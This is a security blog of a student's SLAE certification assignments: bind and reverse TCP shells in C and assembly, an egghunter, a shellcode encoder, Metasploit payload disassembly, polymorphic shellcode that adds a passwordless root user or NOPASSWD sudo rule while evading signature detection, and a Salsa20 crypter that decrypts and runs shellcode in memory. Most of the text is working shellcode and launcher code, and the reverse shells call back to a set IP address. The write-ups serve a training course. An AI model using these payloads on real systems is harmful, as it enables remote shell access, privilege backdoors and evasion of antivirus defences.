February 29, 2020

SLAE - Assignment #7 - Custom crypter

The tasks for the seventh assignment are:

1. Create a custom crypter like the one shown in the “crypters” video
2. Free to use any existing encryption schema
3. Can use any programming language

   I decided to create python script with 3 input values: password, shellcode and action (encrypt/decrypt). As encryption algorithm I decided to use Salsa20(https://en.wikipedia.org/wiki/Salsa20). This stream cipher won European cryptoalgorithms competition. It is implemented in most languages in well audited libraries. 
   From cryptography point of view my implementation is far from perfect, having serious cryptographical flaw. However, the idea of the crypter is to bypass some signature based protections, not to encrypt data for secure long term storage. Also I will mention this flaw just to make the reader aware of it.

 Let's discuss key code functions:

1. I decided to use password and pass it to key derivation function. I chose pyscrypt python module (https://pypi.org/project/pyscrypt/). This module created key from password using scrypt KDF (https://en.wikipedia.org/wiki/Scrypt). It is a good alternative to known PBKDFv2.
Crypto problem: in my code I use fixed salt instead of randomized. If we use randomized salt we will have to distribute the full key for decryption. In our case we can just use the code with known passphrase.

2. Encryption and decryption functions are pretty straightforward from algorithm usage examples (https://pycryptodome.readthedocs.io/en/latest/src/cipher/salsa20.html). Please, note that nonce is not a secret value, so we can pass it together with encrypted text.

3. To launch my shellcode from python script I used ctypes. I found this blogpost and just followed it - http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html. In our case we just load shellcode in memory, knowing the size and address, mark our memory region executable (0x7) and run it.

Here is my code:

#!/usr/bin/env python2

from Crypto.Cipher import Salsa20
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
import sys
import binascii
import pyscrypt

def encrypt(text, secret):
    ciphertext = Salsa20.new(key=secret)
    msg= ciphertext.nonce + ciphertext.encrypt(text)
    print binascii.hexlify(msg)

def decrypt(text, secret):
   
    msg_nonce = text[:8]
    ciphertext = text[8:]
    cipher = Salsa20.new(key=secret, nonce=msg_nonce)
    plaintext = cipher.decrypt(ciphertext)
    print "Your decrypted shellcode is %s" %plaintext
    print "Launching shellcode..."
    execute(plaintext)
   
def execute(plaintext):

    libc = CDLL('libc.so.6')
    shellcode = plaintext.replace('\\x', '').decode('hex')
    sc = c_char_p(shellcode)
    size = len(shellcode)
    addr = c_void_p(libc.valloc(size))
    memmove(addr, sc, size)
    libc.mprotect(addr, size, 0x7)
    run = cast(addr, CFUNCTYPE(c_void_p))
    run()

action = sys.argv[3]
key = pyscrypt.hash(sys.argv[1], "vinegrep", 1024, 1, 1, 32)

if action == "encrypt":
    text = sys.argv[2]
    encrypt(text, key)
elif action == "decrypt":
    text = binascii.unhexlify(sys.argv[2])
    decrypt(text, key)
else:
    print("Allowed actions: encrypt, decrypt")

 I used execve shellcode to check my crypter:

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my GitHub repository - https://github.com/vinegrep/SLAE-exam

February 28, 2020

SLAE - Assignment #6 - Polymorphic shellcode

  
This time the task was the following:

1. Take up 3 shellcodes from Shell­‐Storm and create polymorphic versions of them to beat pattern matching.
2. The polymorphic versions cannot be larger 150% of the existing shellcode.
3. Bonus points for making it shorter in length than original

1. Add root user r00t with no password

   My first shell is from here - http://shell-storm.org/shellcode/files/shellcode-211.php. The limitation of this shellcode is that it has to be run as privileged user with level equal to root.

section .text

       global _start

  _start:

  ; open("/etc//passwd", O_WRONLY | O_APPEND)

       push byte 5
       pop eax
       xor ecx, ecx
       push ecx
       push 0x64777373
       push 0x61702f2f
       push 0x6374652f
       mov ebx, esp
       mov cx, 02001Q
       int 0x80

       mov ebx, eax

  ; write(ebx, "r00t::0:0:::", 12)

       push byte 4
       pop eax
       xor edx, edx
       push edx
       push 0x3a3a3a30
       push 0x3a303a3a
       push 0x74303072
       mov ecx, esp
       push byte 12
       pop edx
       int 0x80

  ; close(ebx)

       push byte 6
       pop eax
       int 0x80

  ; exit()

       push byte 1
       pop eax
       int 0x80


   After quick analysis I can see that detection can be done by system call numbers. User is adjustable, so it can hardly be used as detection pattern. I am going to hide file name (/etc/passwd) using known key and simple math. Also I changed instructions, but code is semantically the same. Polymorphic version is:

section .text

       global _start

  _start:

  ; open("/etc//passwd", O_WRONLY | O_APPEND)

       mov al, 5
       sub ecx, ecx
       push ecx
       mov ebx, 0x33333333
       mov edx, 0x31444040
       add edx, ebx
       push edx
       mov edx, 0x2e3cfbfc
       add edx, ebx
       push edx
       mov edx, 0x5047561c
       xor edx, ebx
       push edx
       mov ebx, esp
       mov cx, 02001Q
       int 0x80
       mov ebx, eax

  ; write(ebx, "r00t::0:0:::", 12)

       mov al, 4
       sub edx, edx
       push edx
       push 0x3a3a3a30
       push 0x3a303a3a
       push 0x74303072
       mov ecx, esp
       mov dl, 12
       int 0x80

  ; close(ebx)

       mov al, 6
       int 0x80

  ; exit()

       sub eax, eax
       inc eax
       int 0x80


   After compilation I got shell code size 79 bytes, original one was 69. I got increase around 27%. Content of my shellcode.c file is below:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\xb0\x05\x29\xc9\x51\xbb\x33\x33\x33\x33\xba\x40\x40\x44\x31\x01"
"
\xda\x52\xba\xfc\xfb\x3c\x2e\x01\xda\x52\xba\x1c\x56\x47\x50\x31"
"
\xda\x52\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\xb0\x04\x29\xd2"
"
\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74"
"
\x89\xe1\xb2\x0c\xcd\x80\xb0\x06\xcd\x80\x29\xc0\x40\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}


Proof:


2. Anyone can run sudo without password

   My second shell is from here - http://shell-storm.org/shellcode/files/shellcode-62.php. Let's have a quick look at original shellcode. This will be pretty similar to first exercise, as obvious detections are file name, word NOPASSWD and system call numbers. This shell again requires high privileges to change content of /etc/sudoers file.


section .text
 global _start

_start:

 ;open("/etc/sudoers", O_WRONLY | O_APPEND);
 xor eax, eax
 push eax
        push 0x7372656f 
 push 0x6475732f
 push 0x6374652f 
 mov ebx, esp
 mov cx, 0x401
 mov al, 0x05
 int 0x80

 mov ebx, eax  

 ;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
 xor eax, eax
 push eax
 push 0x0a4c4c41
 push 0x203a4457
 push 0x53534150
 push 0x4f4e2029
 push 0x4c4c4128
 push 0x3d4c4c41
 push 0x204c4c41
 mov ecx, esp
 mov dl, 0x1c
 mov al, 0x04
 int 0x80

 ;close(file)
 mov al, 0x06
 int 0x80

 ;exit(0);
 xor ebx, ebx
 mov al, 0x01
 int 0x80

My polymorphic version is:

section .text
    global _start

_start:

    ;open("/etc/sudoers", O_WRONLY | O_APPEND);
    sub eax, eax
    push eax
    mov edi, 0x26082608
    mov esi, 0x4d6a3f67
    add esi, edi
    push esi
    mov esi, 0x8a7d9937
    sub esi, edi
    push esi
    mov esi, 0x457c4327
    xor esi, edi
    push esi
    mov ebx, esp
    mov cx, 0x401
    mov al, 0x05
    int 0x80

    mov ebx, eax 

    ;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
    sub eax, eax
    push eax
    push 0x0a4c4c41
    push 0x203a4457
    mov esi, 0x12341234
    mov edi, 0x41675364
    xor edi,esi
    push edi
    push 0x4f4e2029
    push 0x4c4c4128
    push 0x3d4c4c41
    push 0x204c4c41
    mov ecx, esp
    sub edx, edx
    mov dl, 0x1c
    inc eax
    inc eax
    inc eax
    inc eax
    int 0x80

    ; close(file)

    mov al, 6
    int 0x80

    ; exit(0)

    sub eax, eax
    inc eax
    int 0x80


   After compilation I got shell code size 111 bytes, original one was 86. I got increase around 29%. Content of my shellcode.c file is below:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x29\xc0\x50\xbf\x08\x26\x08\x26\xbe\x67\x3f\x6a\x4d\x01\xfe\x56\xbe\x37"

"\x99\x7d\x8a\x29\xfe\x56\xbe\x27\x43\x7c\x45\x31\xfe\x56\x89\xe3\x66\xb9"
"\x01\x04\xb0\x05\xcd\x80\x89\xc3\x29\xc0\x50\x68\x41\x4c\x4c\x0a\x68\x57"
"\x44\x3a\x20\xbe\x34\x12\x34\x12\xbf\x64\x53\x67\x41\x31\xf7\x57\x68\x29"
"\x20\x4e\x4f\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x41\x4c\x4c\x20"
"\x89\xe1\x29\xd2\xb2\x1c\x40\x40\x40\x40\xcd\x80\xb0\x06\xcd\x80\x29\xc0"
"\x40\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}


Proof:


3. setreuid() shellcode

Third shellcode is from here - http://shell-storm.org/shellcode/files/shellcode-215.php. In this case I will try to rearrange instructions and hide /bin/sh using arithmetic operations as usual. Original shellcode:

section .text
        global _start

_start:

    mov al, 0x17
    xor ebx, ebx
    int 0x80
    mov al, 0xb
    cltd
    push edx
    push 0x68732f2f
    push 0x6e69622f
    mov ebx,esp
    push edx
    push ebx
    mov ecx,esp
    int 0x80

 
My polymorphic version:

section .text
    global _start

_start:

    push 0x17
    pop eax
    int 0x80
    mov bl, 0x4
    mov cl, 0x7
    add ecx, ebx
    mov al, cl
    sub ecx, ecx
    push ecx
    mov edi, 0x26082608
    mov esi, 0x426b0927
    add esi, edi
    push esi
    mov esi,0x48614427
    xor esi, edi
    push esi
    mov ebx,esp
    push ecx
    push ebx
    mov ecx,esp
    int 0x80

   After compilation I got shell code size 45 bytes, original one was 38. I got increase around 18%. Content of my shellcode.c file is below:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x6a\x17\x58\xcd\x80\xb3\x04\xb1\x07\x01\xd9\x88\xc8\x29\xc9\x51\xbf\x08"

"\x26\x08\x26\xbe\x27\x09\x6b\x42\x01\xfe\x56\xbe\x27\x44\x61\x48\x31\xfe"
"\x56\x89\xe3\x51\x53\x89\xe1\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}


Proof:

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

January 9, 2020

SLAE - Assignment #5 - MSF payload analysis

   Fifth task in exam was to generate 3 payloads from Metasploit for target Linux/x86 system and dissect their functionalities using specific tools: GDB, Ndisasm or Libemu

I chose the following 3 payloads:

  • linux/x86/meterpreter/reverse_tcp
  • linux/x86/shell_find_tag
  • linux/x86/read_file

1. Reverse shell


I generated it using msfvenom -p linux/x86/meterpreter/reverse_tcp -a x86 LHOST=192.168.13.59 LPORT=2608 -o rev.

Then I used disasm to have a look at the assembly listing (cat rev | ndisasm -u -). Some parts of the code are relatively easy for understanding, some are a bit vague. I divided the shellcode on 6 parts for easier analysis based on system calls. Below is code with comments.

# socketcall to run SYS_SOCKET

00000000  6A0A               push byte +0xa
00000002  5E                   pop esi
00000003  31DB               xor ebx,ebx
00000005  F7E3                mul ebx
00000007  53                    push ebx
00000008  43                    inc ebx
00000009  53                    push ebx
0000000A  6A02                push byte +0x2
0000000C  B066                mov al,0x66                    # socketcall
0000000E  89E1                 mov ecx,esp
00000010  CD80                 int 0x80

# socketcall to run SYS_CONNECT

00000012  97                xchg eax,edi
00000013  5B                pop ebx
00000014  68C0A80D3B        push dword 0x3b0da8c0  # IP address in big endian
00000019  6802000A30        push dword 0x300a0002  # port in big endian
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax
00000023  50                push eax
00000024  51                push ecx
00000025  57                push edi
00000026  89E1            mov ecx,esp
00000028  43                inc ebx             # SYS_CONNECT (EBX holds value 0x03)
00000029  CD80           int 0x80

# connection checks and nanosleep

0000002B  85C0              test eax,eax
0000002D  7919              jns 0x48           # we go to mprotect
0000002F  4E                   dec esi
00000030  743D              jz 0x6f               # if zero go to exit
00000032  68A2000000        push dword 0xa2
00000037  58                  pop eax              # syscall code for nanosleep
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5   # 5 seconds sleep
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80

# mprotect to mark region of memory rwx

00000042  85C0              test eax,eax              # test for successful connection
00000044  79BD              jns 0x3                           #attempt to reconnect
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7                     # marks memory rwx
0000004A  B900100000        mov ecx,0x1000      # length of memory region
0000004F  89E3                mov ebx,esp                # pointer to memory region
00000051  C1EB0C            shr ebx,byte 0xc 
00000054  C1E30C            shl ebx,byte 0xc     
00000057  B07D               mov al,0x7d                  #mprotect syscall
00000059  CD80               int 0x80

# read() from file descriptor into buffer 

0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f
0000005F  5B                  pop ebx          # descriptor
00000060  89E1              mov ecx,esp 
00000062  99                  cdq
00000063  B26A              mov dl,0x6a
00000065  B003              mov al,0x3      # read syscall
00000067  CD80              int 0x80

# exit syscall

00000069  85C0                  test eax,eax
0000006B  7802                   js 0x6f
0000006D  FFE1                   jmp ecx
0000006F  B801000000        mov eax,0x1   # exit
00000074  BB01000000        mov ebx,0x1 
00000079  CD80                    int 0x80


2. Find port


Second one I chose find port shellcode. After generation I used ndisasm again.
Here is the code below with my comments:

# socketcall

00000000  31DB           xor ebx,ebx
00000002  53                push ebx
00000003  89E7            mov edi,esp
00000005  6A10            push byte +0x10
00000007  54                push esp
00000008  57                push edi
00000009  53                push ebx
0000000A  89E1           mov ecx,esp
0000000C  B307           mov bl,0x7

0000000E  FF01              inc dword [ecx]
00000010  6A66              push byte +0x66
00000012  58                  pop eax                    # eax 0x66 
00000013  CD80              int 0x80
00000015  66817F02810D      cmp word [edi+0x2],0xd81  #compare to port 33037
0000001B  75F1              jnz 0xe             #iterate through port number in ecx

# dup2() when found

0000001D  5B                pop ebx
0000001E  6A02            push byte +0x2
00000020  59                pop ecx
00000021  B03F            mov al,0x3f
00000023  CD80            int 0x80

# execve, spawn a shell

00000025  49                dec ecx
00000026  79F9            jns 0x21
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f      # hs//
0000002E  682F62696E        push dword 0x6e69622f     #nib/
00000033  89E3            mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1            mov ecx,esp
00000039  99                cdq
0000003A  B00B            mov al,0xb        # execve system call number
0000003C  CD80            int 0x80


3. Read file


I generated shellcode by using msfvenom -p linux/x86/read_file PATH=/home/vinegrep/token -a x86 -o read.
I used disasm again. My analysis below:

# Start with classical jmp-call to get address of the file path in ebx and open it.

00000000  EB36                  jmp short 0x38
00000002  B805000000      mov eax,0x5         # SYS_OPEN
00000007  5B                      pop ebx              
00000008  31C9                  xor ecx,ecx           # RO flag
0000000A  CD80                 int 0x80

# Read file in our buffer

0000000C  89C3                  mov ebx,eax          # descriptor
0000000E  B803000000      mov eax,0x3          # SYS_READ
00000013  89E7                  mov edi,esp
00000015  89F9                  mov ecx,edi
00000017  BA00100000      mov edx,0x1000    # size of buffer 
0000001C  CD80                  int 0x80

# Write content from buffer to descriptor of out payload

0000001E  89C2                    mov edx,eax         # size of ourread
00000020  B804000000        mov eax,0x4         # SYS_WRITE
00000025  BB01000000        mov ebx,0x1        # FD
0000002A  CD80                   int 0x80

#  Exit

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80                    int 0x80

# path to file

00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                       das                                    # /
0000003E  686F6D652F       push dword 0x2f656d6f    # home/
00000043  7669                   jna 0xae                            # vi
00000045  6E                       outsb                                 # n
00000046  65677265           gs jc 0xaf                           # egre
0000004A  702F                   jo 0x7b                              # p/
0000004C  746F                   jz 0xbd                              # to
0000004E  6B656E00          imul esp,[ebp+0x6e],byte +0x0     # ken and NULL byte

Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

June 4, 2019

SLAE – Assignment #4 - Custom Encoder

This task was to follow our lab video and build an insertion encoding scheme for our shellcode which spawned /bin/sh.

1. Encoder


I decided to use python for encoding. I chose bitwise feedback rotation left function and XOR against known key. Hopefully code is clear for understanding:

#!/usr/bin/python

sc = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

max_bits = 8

key_byte = 0x32

final = ""

rotate_left = lambda byte, value, max_bits: \
    (byte << value%max_bits) & (2**max_bits-1) | \
    ((byte & (2**max_bits-1)) >> (max_bits-(value%max_bits)))

for byte in bytearray(sc) :

rotl_byte = rotate_left(byte, 4, max_bits)
xor_byte = rotl_byte ^ key_byte

final += '0x'
final += '%02x,' % (xor_byte & 0xff)

print (final)

print 'Length: %d' % len(bytearray(sc))



I got an output:

0x21,0x3e,0x37,0xb4,0xd4,0xc0,0x05,0xb4,0xb4,0xc0,0xc0,0x14,0xa4,0xaa,0x0c,0x37,0xaa,0x1c,0x07,0xaa,0x2c,0x39,0x82,0xee,0x3a

2. Decoding


To decode I used jmp-call-pop combination to get address of the shellcode. Decoder assembly code below:

global _start

_start:
jmp short get_addr

prep_decode:
pop esi                 ; address now in esi
xor ecx, ecx
mov cl, len ; shellcode length was counter

decode:
         ; we decoded by using function backward

xor byte [esi], 0x32  ; xor with the key
ror byte [esi], 4        ; rotate right 4 positions (opposite operation to encoding) 
inc esi ; next byte
loop decode            ; until cl is zero

jmp short sc            ; jump to the original shellcode


get_addr:
call prep_decode
sc: db 0x21,0x3e,0x37,0xb4,0xd4,0xc0,0x05,0xb4,0xb4,0xc0,0xc0,0x14,0xa4,0xaa,0x0c,0x37,0xaa,0x1c,0x07,0xaa,0x2c,0x39,0x82,0xee,0x3a
len equ $-sc:

Proof picture:


3. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

May 27, 2019

SLAE – Assignment #3 – Egghunter

1. Introduction

Egghunter is a known technique that is used when we are limited in space. The original idea was introduced by skape in his paper - http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf. Also Corelan has a good full write up about egg hunting under Windows platform. Updated version was released recently in his blog about Windows 10 - https://www.corelan.be/index.php/2019/04/23/windows-10-egghunter/

The idea is that we have our payload with egg somewhere in the memory and egghunter will scan memory and after reaching our egg will jump there.

2. Egghunter implementation

Based on my experience with OSCE as egghunting was one of the most important topics I found out that there are 2 possible issues:

1. Wrong jump if egghunter will detect his own egg.
2. Attempt to access unmapped memory which will lead to program termination (SIGSEGV).

Solution:

1. We prepend our shellcode with double tag.
2. From skape paper we can use access or sigaction system calls.

I will use access system call. This call will return EFAULT when access unmapped memory instead of termination. Egghunter algorithm:

1. we push address to validate
2. if EFAULT we increment until we reach valid address
3. After we reach valid address space, we iterate through it searching for double tag.
4. If succeeded, we jump to shellcode after tag.
5. If not we go to next page.

I found a system call using: 

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33

3. Egghunter code

global _start

section .text

_start:
       xor ebx, ebx
       xor ecx, ecx

next_page:
        or bx, 0xfff ;page alignment

hunt:
        inc ebx          ;next address
        lea edx, [ebx+0x04]  ;compare values in [ebx] and [ebx+4]
        xor eax, eax
        mov al, 0x21     ;syscall for access
        int 0x80

        cmp al, 0xf2   ;check return value for EFAULT
        je next_page   ;if yes, go to next page
mov edi, ebx   ;if not, ebx in edi for scasd

mov eax, 0x64697361 ;tag = disa
        scasd           ;check eax==[edi] then increment edi
        jnz hunt        ;continue search
        scasd           ;check for second tag
        jnz hunt
        jmp edi         ;jump to second stage shellcode

Then usual operations: extract shellcode and put in C file. I decided to use reverse shell payload for a test:

#include<stdio.h>
#include<string.h>
#define PORT "\x0a\x30"
#define ADDRESS "\xc0\xa8\x0d\xf3"
#define TAG "DISA"

char egghunter[] = "\x31\xdb\x31\xc9\x66\x81\xcb\xff\x0f\x43\x8d\x53\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\x89\xdf\xb8"
TAG
"\xaf\x75\xe8\xaf\x75\xe5\xff\xe7";

char shell[] = TAG TAG
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe"
"\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68"ADDRESS"\x66"
"\x68"PORT"\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"
"\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
 
main()
{
 
        printf("Shellcode Length:  %d\n", strlen(egghunter));
void (*fp) (void);
fp = (void *)egghunter;
fp();
}

Proof picture: 

4. Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

May 23, 2019

SLAE – Assignment #2 – Reverse TCP Shell

1. Introduction


In this blog post I will go through second task of SLAE exam challenge - creating reverse shell with easy configurable IP address and port which will spawn a shell on connection back. My strategy was the same as with bind shell - build C code and then based on analysis recreate in assembly.

2. C code reverse shell


The difference with bind shell was that instead of bind() and listen() we used connect().

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

#define REMOTE_ADDR "192.168.13.243"
#define REMOTE_PORT 2608

int main() {
  int sock_des;        //socket descriptor
  struct sockaddr_in addr_ser;

  sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP
  addr_ser.sin_family = AF_INET; // ipv4
  addr_ser.sin_port = htons(REMOTE_PORT); // port in little-endian
  addr_ser.sin_addr.s_addr = inet_addr(REMOTE_ADDR); // IP in network order

  connect(sock_des, (struct sockaddr *)&addr_ser, sizeof(addr_ser)); //connect to remote host
  dup2(sock_des, 0); // stdin
  dup2(sock_des, 1); // stdout
  dup2(sock_des, 2); // stderr

  execve("/bin/sh", NULL, NULL); //spawn a shell
  return 0;
}

Proof picture:


3. Find out the details


To enumerate system calls I ran compiled binary with strace and got list of functions:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(2608), sin_addr=inet_addr("192.168.13.243")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0

Next step we need to find system call numbers. I used grep: 

grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get connect() subfunction call number I used grep again:

grep "sys_connect" /usr/include/linux/net.h 
#define SYS_CONNECT 3 /* sys_connect(2) */

4. Assembly code


global _start

section .text
_start:
;clear out registers, edx will be zero till the end of the code

       xor eax, eax
       xor ebx, ebx
       xor edx, edx

;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)

 push eax
 push 0x01
 push 0x02
 mov ecx, esp      ; ecx points to the top of the stack where our arguments are located             
 mov al, 0x66
 inc bl                   ; 0x01
 int 0x80

 mov esi, eax     ; store socket descriptor to esi 

;connect to address
;int connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int connect(esi, struct, 0x10)

;sockaddr_in structure:

 mov al, 0x66
 mov bl, 0x03                        ; 0x03
 push edx            ; terminate
 push long 0xf30da8c0  ;ip_addr
 push word 0x300a        ; port number
 xor ecx, ecx
 mov cl, 0x02 
 push word cx
 mov ecx,esp    ; mov structure pointer in ecx                                      
 push 0x10
 push ecx
 push esi                        
 mov ecx, esp  ; ecx points to arguments
 int 0x80

 mov ebx,esi ; get file descriptor for dup() call

;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
  
         mov al,0x3f            ;63 in decimal
         xor ecx,ecx            ;0x00
         int 0x80

;int dup2(ebx, 1)

         mov al,0x3f
         inc ecx                   ;0x01
         int 0x80
     
;int dup2(ebx, 2)
    
         mov al,0x3f
         inc ecx                   ;0x02
         int 0x80

;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)

  push edx                 ;string NULL-terminator
  push 0x68732f2f     ; hs//
  push 0x6e69622f    ; nib/
  mov ebx, esp          ; pointer to command string
  mov ecx, edx          ; ecx 0x00
  mov al, 0xb
  int 0x80

Compile assembly:

nasm -f elf32 -o asm_reverse.o asm_reverse.nasm
ld -o asm_reverse asm_reverse.o

Check for any NULL bytes and extract shellcode with command line magic from the course:

objdump -d -M intel asm_reverse| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68\xc0\xa8\x0d\xf3\x66\x68\x0a\x30\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Then copy/paste in C code:

#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"

char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";

main()
{

 printf("Shellcode Length:  %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}

Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a reverse shell:


5. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

May 22, 2019

SLAE – Assignment #1 – Bind TCP Shell

1. Introduction

In this blog post I will go through first task of SLAE exam challenge - creating bind shell with easy configurable port which will spawn a shell on connection. My strategy was pretty common - build C code and then based on analysis recreate in assembly.

2. C code bind shell

Network programming in Linux is quite straightforward until you try to build something really special. I tried to put as much comments as possible so it would be easy to follow the code.

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

int main() {
  int sock_des, client_des, port_num;
  struct sockaddr_in addr_ser;
  port_num = 2608;

  sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP

  addr_ser.sin_family = AF_INET; // ipv4
  addr_ser.sin_port = htons(port_num); // port in network endian
  addr_ser.sin_addr.s_addr = INADDR_ANY; // (0.0.0.0)

  bind(sock_des, (struct sockaddr*)&addr_ser, sizeof(addr_ser)); //bind to address and port
  listen(sock_des, 0); //listen to connection

  client_des = accept(sock_des, NULL, NULL); //accept incoming connection

  dup2(client_des, 0); // stdin
  dup2(client_des, 1); // stdout
  dup2(client_des, 2); // stderr

  execve("/bin/sh", NULL, NULL); //spawn a shell
  return 0;
}

Proof picture:

3. Find out the details

To make my life easier I executed bind shell binary with strace and got list of functions:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(56797), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0)                            = 0
accept(3, NULL, NULL)                   = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0

Next step we need to find system call numbers. I used grep: 

grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get subfunction call numbers I used grep once again:

grep "sys_socket(\|sys_bind(\|sys_listen(\|sys_accept(" /usr/include/linux/net.h 
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */

4. Assembly code

global _start

section .text
_start:
;clear out registers, edx will be zero till the end of the code

       xor eax, eax
       xor ebx, ebx
       xor edx, edx

;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)

push eax
push 0x01
push 0x02
mov ecx, esp      ; ecx points to the top of the stack where our arguments are located             
